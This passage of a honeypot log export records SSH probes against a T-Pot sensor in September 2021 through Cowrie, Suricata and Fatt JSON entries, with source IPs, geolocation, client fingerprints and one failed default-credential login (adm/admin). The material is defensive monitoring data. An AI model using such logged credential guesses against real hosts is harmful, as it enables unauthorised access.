25533	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:10:40.228202+03	2021-09-20 14:15:10.263471+03	{"_id": "FwbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5c33aafcea93", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:10:40.228202Z", "@timestamp": "2021-09-20T11:10:40.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25534	68.168.141.140	109.199.241.180	Suricata	2021-09-20 14:10:40.429101+03	2021-09-20 14:15:10.26447+03	{"_id": "IQbmAnwBvYTbRNuEoBwc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:10:40.027498+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "68.168.141.140", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1310611085486954, "payload": "AAADzAYUf9+otphKE7X0wAjbNsQjVQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50464, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:10:40.429101Z", "@timestamp": "2021-09-20T11:10:40.429Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........J......6.#U...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
25535	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:40.230342+03	2021-09-20 14:15:10.26547+03	{"_id": "JQbmAnwBvYTbRNuEoRwz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "68.168.141.140", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50464, "timestamp": "2021-09-20T11:10:40.230342", "@timestamp": "2021-09-20T11:10:40.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25536	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:41.364564+03	2021-09-20 14:15:10.2675+03	{"_id": "LQbmAnwBvYTbRNuEoRzJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:48610 (192.168.176.2:22) [session: cd043c0f600b]", "session": "cd043c0f600b", "@version": "1", "protocol": "ssh", "src_port": 48610, "dest_port": 22, "timestamp": "2021-09-20T11:10:41.364564Z", "@timestamp": "2021-09-20T11:10:41.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25537	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:41.463947+03	2021-09-20 14:15:10.268513+03	{"_id": "NAbmAnwBvYTbRNuEoRzJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cd043c0f600b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:41.463947Z", "@timestamp": "2021-09-20T11:10:41.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25555	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:10:44.898893+03	2021-09-20 14:15:10.29547+03	{"_id": "WwbmAnwBvYTbRNuErxy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49109, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1814915408246605, "@version": "1", "in_iface": "enp5s0", "src_port": 44428, "dest_port": 53, "timestamp": "2021-09-20T11:10:44.898893Z", "@timestamp": "2021-09-20T11:10:44.898Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25538	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:41.30335+03	2021-09-20 14:15:10.270472+03	{"_id": "LAbmAnwBvYTbRNuEoRzJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [adm/admin] failed", "session": "0f5a0ac5508d", "@version": "1", "password": "admin", "username": "adm", "timestamp": "2021-09-20T11:10:41.303350Z", "@timestamp": "2021-09-20T11:10:41.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25539	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:41.640093+03	2021-09-20 14:15:10.2725+03	{"_id": "NQbmAnwBvYTbRNuEpBwF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 961926313107810, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48610, "dest_port": 22, "timestamp": "2021-09-20T11:10:41.640093Z", "@timestamp": "2021-09-20T11:10:41.640Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25540	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:41.64028+03	2021-09-20 14:15:10.2735+03	{"_id": "NgbmAnwBvYTbRNuEpRwc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48610, "timestamp": "2021-09-20T11:10:41.640280", "@timestamp": "2021-09-20T11:10:41.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25541	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:42.229937+03	2021-09-20 14:15:10.2745+03	{"_id": "OwbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35812 (192.168.176.2:22) [session: 4e67687fbf55]", "session": "4e67687fbf55", "@version": "1", "protocol": "ssh", "src_port": 35812, "dest_port": 22, "timestamp": "2021-09-20T11:10:42.229937Z", "@timestamp": "2021-09-20T11:10:42.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25542	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:41.64099+03	2021-09-20 14:15:10.276499+03	{"_id": "PgbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cd043c0f600b", "@version": "1", "timestamp": "2021-09-20T11:10:41.640990Z", "@timestamp": "2021-09-20T11:10:41.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25543	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:41.662521+03	2021-09-20 14:15:10.277503+03	{"_id": "QAbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "60d4f6908b91", "@version": "1", "duration": 2.7364320755004883, "timestamp": "2021-09-20T11:10:41.662521Z", "@timestamp": "2021-09-20T11:10:41.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25544	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:42.148444+03	2021-09-20 14:15:10.279471+03	{"_id": "QgbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ae82cd1edada", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:42.148444Z", "@timestamp": "2021-09-20T11:10:42.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25545	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:42.347758+03	2021-09-20 14:15:10.28047+03	{"_id": "RAbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ec4004d80de8", "@version": "1", "duration": 3.6138501167297363, "timestamp": "2021-09-20T11:10:42.347758Z", "@timestamp": "2021-09-20T11:10:42.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25546	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:42.445739+03	2021-09-20 14:15:10.281471+03	{"_id": "SAbmAnwBvYTbRNuEpxzu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 973344483718577, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35812, "dest_port": 22, "timestamp": "2021-09-20T11:10:42.445739Z", "@timestamp": "2021-09-20T11:10:42.445Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25547	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:42.585493+03	2021-09-20 14:15:10.28347+03	{"_id": "SwbmAnwBvYTbRNuEqRyY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", 